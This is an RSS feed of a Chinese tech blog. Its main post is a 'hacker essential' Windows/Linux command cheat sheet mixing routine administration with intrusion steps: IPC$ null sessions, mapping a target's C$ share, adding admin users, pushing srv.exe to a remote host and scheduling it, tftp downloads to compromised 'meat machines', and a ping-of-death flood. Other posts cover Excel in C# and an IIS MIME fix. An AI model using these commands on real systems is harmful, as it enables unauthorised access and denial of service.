﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-farmhouse</title><link>http://www.blogjava.net/superstart/</link><description /><language>zh-cn</language><lastBuildDate>Sun, 21 Jun 2026 11:28:21 GMT</lastBuildDate><pubDate>Sun, 21 Jun 2026 11:28:21 GMT</pubDate><ttl>60</ttl><item><title>黑客必备DOS命令大全</title><link>http://www.blogjava.net/superstart/articles/327196.html</link><dc:creator>farmer</dc:creator><author>farmer</author><pubDate>Tue, 27 Jul 2010 02:40:00 GMT</pubDate><guid>http://www.blogjava.net/superstart/articles/327196.html</guid><wfw:comment>http://www.blogjava.net/superstart/comments/327196.html</wfw:comment><comments>http://www.blogjava.net/superstart/articles/327196.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/superstart/comments/commentRss/327196.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/superstart/services/trackbacks/327196.html</trackback:ping><description><![CDATA[net use \\ip\ipc$ " " /user:" " 建立IPC空链接&nbsp; <br />
<br />
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接&nbsp; <br />
<br />
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:&nbsp; <br />
<br />
net use h: \\ip\c$ 登陆后映射对方C：到本地为H:&nbsp; <br />
<br />
net use \\ip\ipc$ /del 删除IPC链接&nbsp; <br />
<br />
net use h: /del 删除映射对方到本地的为H:的映射&nbsp; <br />
<br />
net user 用户名 密码 /add 建立用户&nbsp; <br />
<br />
net user guest /active:yes 激活guest用户&nbsp; <br />
<br />
net user 查看有哪些用户&nbsp; <br />
<br />
net user 帐户名 查看帐户的属性&nbsp; <br />
<br />
net localgroup ***istrators 用户名 /add 把&#8220;用户&#8221;添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数&nbsp; <br />
<br />
net start 查看开启了哪些服务&nbsp; <br />
<br />
net start 服务名 开启服务；(如:net start telnet， net start schedule)&nbsp; <br />
<br />
net stop 服务名 停止某服务&nbsp; <br />
<br />
net time \\目标ip 查看对方时间&nbsp; <br />
<br />
net time \\目标ip /set 设置本地计算机时间与&#8220;目标IP&#8221;主机的时间同步,加上参数/yes可取消确认信息&nbsp; <br />
<br />
net view 查看本地局域网内开启了哪些共享&nbsp; <br />
<br />
net view \\ip 查看对方局域网内开启了哪些共享&nbsp; <br />
<br />
net config 显示系统网络设置&nbsp; <br />
<br />
net logoff 断开连接的共享&nbsp; <br />
<br />
net pause 服务名 暂停某服务&nbsp; <br />
<br />
net send ip "文本信息" 向对方发信息&nbsp; <br />
<br />
net ver 局域网内正在使用的网络连接类型和信息&nbsp; <br />
<br />
net share 查看本地开启的共享&nbsp; <br />
<br />
net share ipc$ 开启ipc$共享&nbsp; <br />
<br />
net share ipc$ /del 删除ipc$共享&nbsp; <br />
<br />
net share c$ /del 删除C：共享&nbsp; <br />
<br />
net user guest 12345 用guest用户登陆后用将密码改为12345&nbsp; <br />
<br />
net password 密码 更改系统登陆密码&nbsp; <br />
<br />
netstat -a 查看开启了哪些端口,常用netstat -an&nbsp; <br />
<br />
netstat -n 查看端口的网络连接情况，常用netstat -an&nbsp; <br />
<br />
netstat -v 查看正在进行的工作&nbsp; <br />
<br />
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）&nbsp; <br />
<br />
netstat -s 查看正在使用的所有协议使用情况&nbsp; <br />
<br />
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写&nbsp; <br />
<br />
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：&#8220;-w数字&#8221;用于设置超时间隔。&nbsp; <br />
<br />
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：&#8220;-l[空格]数据包大小&#8221;；&#8220;-n发送数据次数&#8221;；&#8220;-t&#8221;指一直ping。&nbsp; <br />
<br />
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)&nbsp; <br />
<br />
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数&#8220;/all&#8221;显示全部配置信息&nbsp; <br />
<br />
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)&nbsp; <br />
<br />
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)&nbsp; <br />
<br />
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如&#8220;DEL/AR *.*&#8221;表示删除当前目录下所有只读文件，&#8220;DEL/A-S *.*&#8221;表示删除当前目录下除系统文件以外的所有文件&nbsp; <br />
<br />
#2 二：&nbsp; <br />
<br />
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）&nbsp; <br />
<br />
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖&nbsp; <br />
<br />
fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&gt; "和"&gt; &gt;" 是重定向命令&nbsp; <br />
<br />
at id号 开启已注册的某个计划任务&nbsp; <br />
<br />
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止&nbsp; <br />
<br />
at id号 /delete 停止某个已注册的计划任务&nbsp; <br />
<br />
at 查看所有的计划任务&nbsp; <br />
<br />
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机&nbsp; <br />
<br />
finger username @host 查看最近有哪些用户登陆&nbsp; <br />
<br />
telnet ip 端口 远和登陆服务器,默认端口为23&nbsp; <br />
<br />
open ip 连接到IP（属telnet登陆后的命令）&nbsp; <br />
<br />
telnet 在本机上直接键入telnet 将进入本机的telnet&nbsp; <br />
<br />
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件&nbsp; <br />
<br />
copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下&nbsp; <br />
<br />
copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件&nbsp; <br />
<br />
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件（所有文件）至本地C：&nbsp; <br />
<br />
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件&nbsp; <br />
<br />
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将&#8220;IP&#8221;的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送&nbsp; <br />
<br />
tftp -i 对方IP put c:\server.exe 登陆后，上传本地c:\server.exe至主机&nbsp; <br />
<br />
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)&nbsp; <br />
<br />
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface&nbsp; <br />
<br />
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息&nbsp; <br />
<br />
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令&nbsp; <br />
<br />
mem 查看cpu使用情况&nbsp; <br />
<br />
attrib 文件名(目录名) 查看某文件（目录）的属性&nbsp; <br />
<br />
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性&nbsp; <br />
<br />
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间&nbsp; <br />
<br />
date /t 、 time /t 使用此参数即&#8220;DATE/T&#8221;、&#8220;TIME/T&#8221;将只显示当前日期和时间，而不必输入新日期和时间&nbsp; <br />
<br />
set 指定环境变量名称=要指派给变量的字符 设置环境变量&nbsp; <br />
<br />
set 显示当前所有的环境变量&nbsp; <br />
<br />
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量&nbsp; <br />
<br />
pause 暂停批处理程序，并显示出：请按任意键继续....&nbsp; <br />
<br />
if 在批处理程序中执行条件处理（更多说明见if命令及变量）&nbsp; <br />
<br />
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：&#8220;：start&#8221;标签）&nbsp; <br />
<br />
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）&nbsp; <br />
<br />
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）&nbsp; <br />
<br />
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置&nbsp; <br />
<br />
echo 信息 在屏幕上显示出信息&nbsp; <br />
<br />
echo 信息 &gt;&gt; pass.txt 将"信息"保存到pass.txt文件中&nbsp; <br />
<br />
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello&nbsp; <br />
<br />
find 文件名 查找某文件&nbsp; <br />
<br />
title 标题名字 更改CMD窗口标题名字&nbsp; <br />
<br />
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白&nbsp; <br />
<br />
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )&nbsp; <br />
<br />
#3 三：&nbsp; <br />
<br />
ver 在DOS窗口下显示版本信息&nbsp; <br />
<br />
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）&nbsp; <br />
<br />
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS&nbsp; <br />
<br />
md 目录名 创建目录&nbsp; <br />
<br />
replace 源文件 要替换文件的目录 替换文件&nbsp; <br />
<br />
ren 原文件名 新文件名 重命名文件名&nbsp; <br />
<br />
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称&nbsp; <br />
<br />
type 文件名 显示文本文件的内容&nbsp; <br />
<br />
more 文件名 逐屏显示输出文件&nbsp; <br />
<br />
doskey 要锁定的命令＝字符&nbsp; <br />
<br />
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=&nbsp; <br />
<br />
taskmgr 调出任务管理器&nbsp; <br />
<br />
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误&nbsp; <br />
<br />
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口&nbsp; <br />
<br />
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe&nbsp; <br />
<br />
path 路径\可执行文件的文件名 为可执行文件设置一个路径。&nbsp; <br />
<br />
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?&nbsp; <br />
<br />
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；&nbsp; <br />
<br />
regedit /e 注册表文件名 导出注册表&nbsp; <br />
<br />
cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。&nbsp; <br />
<br />
cacls 文件名 查看文件的访问用户权限列表&nbsp; <br />
<br />
REM 文本内容 在批处理文件中添加注解&nbsp; <br />
<br />
netsh 查看或更改本地网络配置情况&nbsp; <br />
<br />
#4 四：&nbsp; <br />
<br />
IIS服务命令：&nbsp; <br />
<br />
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）&nbsp; <br />
<br />
iisreset /start或stop 启动（停止）所有Internet服务&nbsp; <br />
<br />
iisreset /restart 停止然后重新启动所有Internet服务&nbsp; <br />
<br />
iisreset /status 显示所有Internet服务状态&nbsp; <br />
<br />
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动&nbsp; <br />
<br />
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机&nbsp; <br />
<br />
iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务&nbsp; <br />
<br />
iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。&nbsp; <br />
<br />
FTP 命令： (后面有详细说明内容)&nbsp; <br />
<br />
ftp的命令行格式为:&nbsp; <br />
<br />
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。&nbsp; <br />
<br />
－d 使用调试方式。&nbsp; <br />
<br />
－n 限制ftp的自动登录,即不使用.netrc文件。&nbsp; <br />
<br />
－g 取消全局文件名。&nbsp; <br />
<br />
help [命令] 或 ？[命令] 查看命令说明&nbsp; <br />
<br />
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.&nbsp; <br />
<br />
pwd 列出当前远端主机目录&nbsp; <br />
<br />
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中&nbsp; <br />
<br />
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中&nbsp; <br />
<br />
mget [remote-files] 从远端主机接收一批文件至本地主机&nbsp; <br />
<br />
mput local-files 将本地主机中一批文件传送至远端主机&nbsp; <br />
<br />
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件&nbsp; <br />
<br />
ascii 设定以ASCII方式传送文件(缺省值)&nbsp; <br />
<br />
bin 或 image 设定以二进制方式传送文件&nbsp; <br />
<br />
bell 每完成一次文件传送,报警提示&nbsp; <br />
<br />
cdup 返回上一级目录&nbsp; <br />
<br />
close 中断与远程服务器的ftp会话(与open对应)&nbsp; <br />
<br />
open host[port] 建立指定ftp服务器连接,可指定连接端口&nbsp; <br />
<br />
delete 删除远端主机中的文件&nbsp; <br />
<br />
mdelete [remote-files] 删除一批文件&nbsp; <br />
<br />
mkdir directory-name 在远端主机中建立目录&nbsp; <br />
<br />
rename [from] [to] 改变远端主机中的文件名&nbsp; <br />
<br />
rmdir directory-name 删除远端主机中的目录&nbsp; <br />
<br />
status 显示当前FTP的状态&nbsp; <br />
<br />
system 显示远端主机系统类型&nbsp; <br />
<br />
user user-name [password] [account] 重新以别的用户名登录远端主机&nbsp; <br />
<br />
open host [port] 重新建立一个新的连接&nbsp; <br />
<br />
prompt 交互提示模式&nbsp; <br />
<br />
macdef 定义宏命令&nbsp; <br />
<br />
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录&nbsp; <br />
<br />
chmod 改变远端主机的文件权限&nbsp; <br />
<br />
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母&nbsp; <br />
<br />
cd remote－dir 进入远程主机目录&nbsp; <br />
<br />
cdup 进入远程主机目录的父目录&nbsp; <br />
<br />
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip&nbsp; <br />
<br />
#5 五：&nbsp; <br />
<br />
MYSQL 命令：&nbsp; <br />
<br />
mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。&nbsp; <br />
<br />
（例：mysql -h110.110.110.110 -Uroot -P123456&nbsp; <br />
<br />
注:u与root可以不用加空格，其它也一样）&nbsp; <br />
<br />
exit 退出MYSQL&nbsp; <br />
<br />
mysql*** -u用户名 -p旧密码 password 新密码 修改密码&nbsp; <br />
<br />
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）&nbsp; <br />
<br />
show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。&nbsp; <br />
<br />
use mysql；&nbsp; <br />
<br />
show tables; 显示库中的数据表&nbsp; <br />
<br />
describe 表名; 显示数据表的结构&nbsp; <br />
<br />
create database 库名; 建库&nbsp; <br />
<br />
use 库名；&nbsp; <br />
<br />
create table 表名 (字段设定列表)； 建表&nbsp; <br />
<br />
drop database 库名;&nbsp; <br />
<br />
drop table 表名； 删库和删表&nbsp; <br />
<br />
delete from 表名; 将表中记录清空&nbsp; <br />
<br />
select * from 表名; 显示表中的记录&nbsp; <br />
<br />
mysqldump --opt school&gt;school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。&nbsp; <br />
<br />
win2003系统下新增命令（实用部份）：&nbsp; <br />
<br />
shutdown /参数 关闭或重启本地或远程主机。&nbsp; <br />
<br />
参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。&nbsp; <br />
<br />
例：shutdown /r /t 0 立即重启本地主机（无延时）&nbsp; <br />
<br />
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。&nbsp; <br />
<br />
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。&nbsp; <br />
<br />
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。&nbsp; <br />
<br />
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。&nbsp; <br />
<br />
#6 六：&nbsp; <br />
<br />
Linux系统下基本命令： 要区分大小写&nbsp; <br />
<br />
uname 显示版本信息（同win2K的 ver）&nbsp; <br />
<br />
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）&nbsp; <br />
<br />
pwd 查询当前所在的目录位置&nbsp; <br />
<br />
cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。&nbsp; <br />
<br />
cat 文件名 查看文件内容&nbsp; <br />
<br />
cat &gt;abc.txt 往abc.txt文件中写上内容。&nbsp; <br />
<br />
more 文件名 以一页一页的方式显示一个文本文件。&nbsp; <br />
<br />
cp 复制文件&nbsp; <br />
<br />
mv 移动文件&nbsp; <br />
<br />
rm 文件名 删除文件，rm -a 目录名删除目录及子目录&nbsp; <br />
<br />
mkdir 目录名 建立目录&nbsp; <br />
<br />
rmdir 删除子目录，目录内没有文档。&nbsp; <br />
<br />
chmod 设定档案或目录的存取权限&nbsp; <br />
<br />
grep 在档案中查找字符串&nbsp; <br />
<br />
diff 档案文件比较&nbsp; <br />
<br />
find 档案搜寻&nbsp; <br />
<br />
date 现在的日期、时间&nbsp; <br />
<br />
who 查询目前和你使用同一台机器的人以及Login时间地点&nbsp; <br />
<br />
w 查询目前上机者的详细资料&nbsp; <br />
<br />
whoami 查看自己的帐号名称&nbsp; <br />
<br />
groups 查看某人的Group&nbsp; <br />
<br />
passwd 更改密码&nbsp; <br />
<br />
history 查看自己下过的命令&nbsp; <br />
<br />
ps 显示进程状态&nbsp; <br />
<br />
kill 停止某进程&nbsp; <br />
<br />
gcc 黑客通常用它来编译C语言写的文件&nbsp; <br />
<br />
su 权限转换为指定使用者&nbsp; <br />
<br />
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。&nbsp; <br />
<br />
ftp ftp连接上某服务器（同win2K ）
<img src ="http://www.blogjava.net/superstart/aggbug/327196.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/superstart/" target="_blank">farmer</a> 2010-07-27 10:40 <a href="http://www.blogjava.net/superstart/articles/327196.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C#操作Excel文件</title><link>http://www.blogjava.net/superstart/articles/326163.html</link><dc:creator>farmer</dc:creator><author>farmer</author><pubDate>Thu, 15 Jul 2010 02:10:00 GMT</pubDate><guid>http://www.blogjava.net/superstart/articles/326163.html</guid><wfw:comment>http://www.blogjava.net/superstart/comments/326163.html</wfw:comment><comments>http://www.blogjava.net/superstart/articles/326163.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/superstart/comments/commentRss/326163.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/superstart/services/trackbacks/326163.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp; 　&nbsp;&nbsp;Excel是微软公司办公自动化套件中的一个软件，他主要是用来处理电子表格。Excel以其功能强大，界面友好等受到了许多用户的欢迎。在设计应用系统时，对于不同的用户，他们对于打印的需求是不一样的，如果要使得程序中的打印功能适用于每一个用户，可以想象程序设计是十分复杂的。由于Excel表格的功能强大，又由于几乎每一台机器都安装了它，如果把程序处理的结果放到E...&nbsp;&nbsp;<a href='http://www.blogjava.net/superstart/articles/326163.html'>阅读全文</a><img src ="http://www.blogjava.net/superstart/aggbug/326163.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/superstart/" target="_blank">farmer</a> 2010-07-15 10:10 <a href="http://www.blogjava.net/superstart/articles/326163.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IIS站点对flv视频文件的支持问题</title><link>http://www.blogjava.net/superstart/articles/317519.html</link><dc:creator>farmer</dc:creator><author>farmer</author><pubDate>Tue, 06 Apr 2010 01:21:00 GMT</pubDate><guid>http://www.blogjava.net/superstart/articles/317519.html</guid><wfw:comment>http://www.blogjava.net/superstart/comments/317519.html</wfw:comment><comments>http://www.blogjava.net/superstart/articles/317519.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/superstart/comments/commentRss/317519.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/superstart/services/trackbacks/317519.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt; text-indent: 18pt"><span style="font-family: 宋体">&nbsp;故障现象：</span>Windows Server 2003，IIS 6.0环境下<span style="font-family: 宋体">的</span>Web<span style="font-family: 宋体">站点中，播放flv格式的流媒体文件，内存会不断增加，<br />
&nbsp;&nbsp;&nbsp; </span><span style="font-family: 宋体">解决方法：</span><span style="font-family: 宋体">&nbsp;在</span>IIS<span style="font-family: 宋体">管理器，WEB站点-》&#8220;</span><span style="font-family: 宋体">属性&#8221;-》&#8220;HTTP头&#8221;对话框后单击&#8220;</span>MIME<span style="font-family: 宋体">类型&#8221;按钮，在打开的&#8220;</span>MIME<span style="font-family: 宋体">类型&#8221;对话框中单击&#8220;新建&#8221;按钮。然后在打开的&#8220;</span>MIME<span style="font-family: 宋体">类型&#8221;对话框的&#8220;扩展名&#8221;文本框中输入&#8220;.flv&#8221;，在&#8220;</span>MIME<span style="font-family: 宋体">类型&#8221;文本框中输入</span>&#8220;flv-application/octet-stream&#8221;<span style="font-family: 宋体">命令后单击&#8220;确定&#8221;按钮应用新设置。重新启动</span>IIS<span style="font-family: 宋体">即可。</span></p>
<img src ="http://www.blogjava.net/superstart/aggbug/317519.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/superstart/" target="_blank">farmer</a> 2010-04-06 09:21 <a href="http://www.blogjava.net/superstart/articles/317519.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>cmd 命令集锦 </title><link>http://www.blogjava.net/superstart/articles/297833.html</link><dc:creator>farmer</dc:creator><author>farmer</author><pubDate>Mon, 12 Oct 2009 00:34:00 GMT</pubDate><guid>http://www.blogjava.net/superstart/articles/297833.html</guid><wfw:comment>http://www.blogjava.net/superstart/comments/297833.html</wfw:comment><comments>http://www.blogjava.net/superstart/articles/297833.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/superstart/comments/commentRss/297833.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/superstart/services/trackbacks/297833.html</trackback:ping><description><![CDATA[<p>mstsc--远程桌面连接 <br />
logoff--注销命令 <br />
rononce －p --15秒关机 <br />
tsshutdn--60秒倒计时关机命令 <br />
iexpress--木马捆绑工具，系统自带 <br />
tourstart--xp简介（安装完成后出现的漫游xp程序） <br />
winchat--XP自带局域网聊天 <br />
sndrec32--录音机 <br />
Nslookup--IP地址侦测器 <br />
explorer--打开资源管理器 <br />
lusrmgr.msc--本机用户和组 <br />
services.msc－－－本地服务设置 <br />
oobe/msoobe /a--检查XP是否激活 <br />
notepad--－打开记事本 <br />
cleanmgr--**整理 <br />
net start messenger--开始信使服务 <br />
compmgmt.msc－－－计算机管理 <br />
net stop messenger--－停止信使服务 <br />
conf----启动 netmeeting <br />
dvdplay--－DVD播放器 <br />
charmap--－启动字符映射表 <br />
diskmgmt.msc－－－磁盘管理实用程序 <br />
calc----启动计算器 <br />
dfrg.msc--磁盘碎片整理程序 <br />
chkdsk.exe--－Chkdsk磁盘检查 <br />
devmgmt.msc－－－ 设备管理器 <br />
regsvr32 /u *.dll--停止dll文件运行 <br />
drwtsn32--－－ 系统医生 <br />
rononce －p --15秒关机 <br />
dxdiag--－－检查DirectX信息 <br />
regedt32--注册表编辑器 <br />
Msconfig.exe－－－系统配置实用程序 <br />
rsop.msc--组策略结果集 <br />
mem.exe--－显示内存使用情况 <br />
regedit.exe--注册表 <br />
progman--－程序管理器 <br />
winmsd--－－系统信息 <br />
perfmon.msc--计算机性能监测程序 <br />
winver--－－检查Windows版本 <br />
sfc /scannow--－扫描错误并复原 <br />
taskmgr--－任务管理器（2000／xp／2003） <br />
wmimgmt.msc--打开windows管理体系结构(WMI) <br />
wupdmgr--－windows更新程序 <br />
w脚本--－windows脚本宿主设置 <br />
write--－－－写字板 <br />
winmsd--－－系统信息 <br />
wiaacmgr--扫描仪和照相机向导 <br />
mem.exe--－显示内存使用情况 <br />
Msconfig.exe－－－系统配置实用程序 <br />
mplayer2--简易widnows media player <br />
mspaint--－画图板 <br />
mplayer2--媒体播放机 <br />
magnify--－放大镜实用程序 <br />
mmc----－打开控制台 <br />
mobsync--－同步命令 <br />
dxdiag--－－检查DirectX信息 <br />
drwtsn32--－－ 系统医生 <br />
devmgmt.msc－－－ 设备管理器 <br />
dfrg.msc--磁盘碎片整理程序 <br />
diskmgmt.msc－－－磁盘管理实用程序 <br />
dcomcnfg--打开系统组件服务 <br />
ddeshare--打开DDE共享设置 <br />
dvdplay--－DVD播放器 <br />
net stop messenger--－停止信使服务 <br />
net start messenger--开始信使服务 <br />
notepad--－打开记事本 <br />
nslookup--网络管理的工具向导 <br />
ntbackup--系统备份和还原 <br />
narrator--屏幕&#8220;讲述人&#8221; <br />
ntmsmgr.msc--移动存储管理器 <br />
ntmsoprq.msc－－－移动存储管理员操作请求 <br />
netstat －an--(TC)命令检查接口 <br />
syncapp--－创建一个公文包 <br />
sysedit--－系统配置编辑器 <br />
sigverif--文件签名验证程序 <br />
sndrec32--录音机 <br />
shrpubw--－创建共享文件夹 <br />
secpol.msc--－本地安全策略 <br />
syskey--－－系统加密，一旦加密就不能解开，保护windows xp系统的双重密码 <br />
services.msc－－－本地服务设置 <br />
Sndvol32--音量控制程序 <br />
sfc.exe--－系统文件检查器 <br />
sfc /scannow－－－windows文件保护 <br />
taskmgr--－任务管理器 <br />
eventvwr--事件查看器 <br />
eudcedit--造字程序 <br />
explorer--打开资源管理器 <br />
packager--对象包装程序 <br />
perfmon.msc--计算机性能监测程序 <br />
progman--－程序管理器 <br />
regedit.exe--注册表 <br />
rsop.msc--组策略结果集 <br />
regedt32--注册表编辑器 <br />
regsvr32 /u *.dll--停止dll文件运行 <br />
regsvr32 /u zipfldr.dll--－－取消ZIP支持 <br />
cmd.exe--－CMD命令提示符 <br />
chkdsk.exe--－Chkdsk磁盘检查 <br />
certmgr.msc--证书管理实用程序 <br />
calc----启动计算器 <br />
charmap--－启动字符映射表 <br />
cliconfg--SQL SERVER 客户端网络实用程序 <br />
Clipbrd--－剪贴板查看器 <br />
conf----启动netmeeting <br />
compmgmt.msc－－－计算机管理 <br />
cleanmgr--**整理 <br />
ciadv.msc--－－索引服务程序 <br />
osk----－打开屏幕键盘 <br />
odbcad32--ODBC数据源管理器 <br />
oobe/msoobe /a--检查XP是否激活 <br />
lusrmgr.msc--本机用户和组 <br />
Nslookup--IP地址侦测器 <br />
fsmgmt.msc--－共享文件夹管理器 <br />
utilman--－辅助工具管理器 <br />
gpedit.msc--－组策略</p>
<p>&nbsp;</p>
<p>本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/lijingronghcit/archive/2009/10/01/4624968.aspx</p>
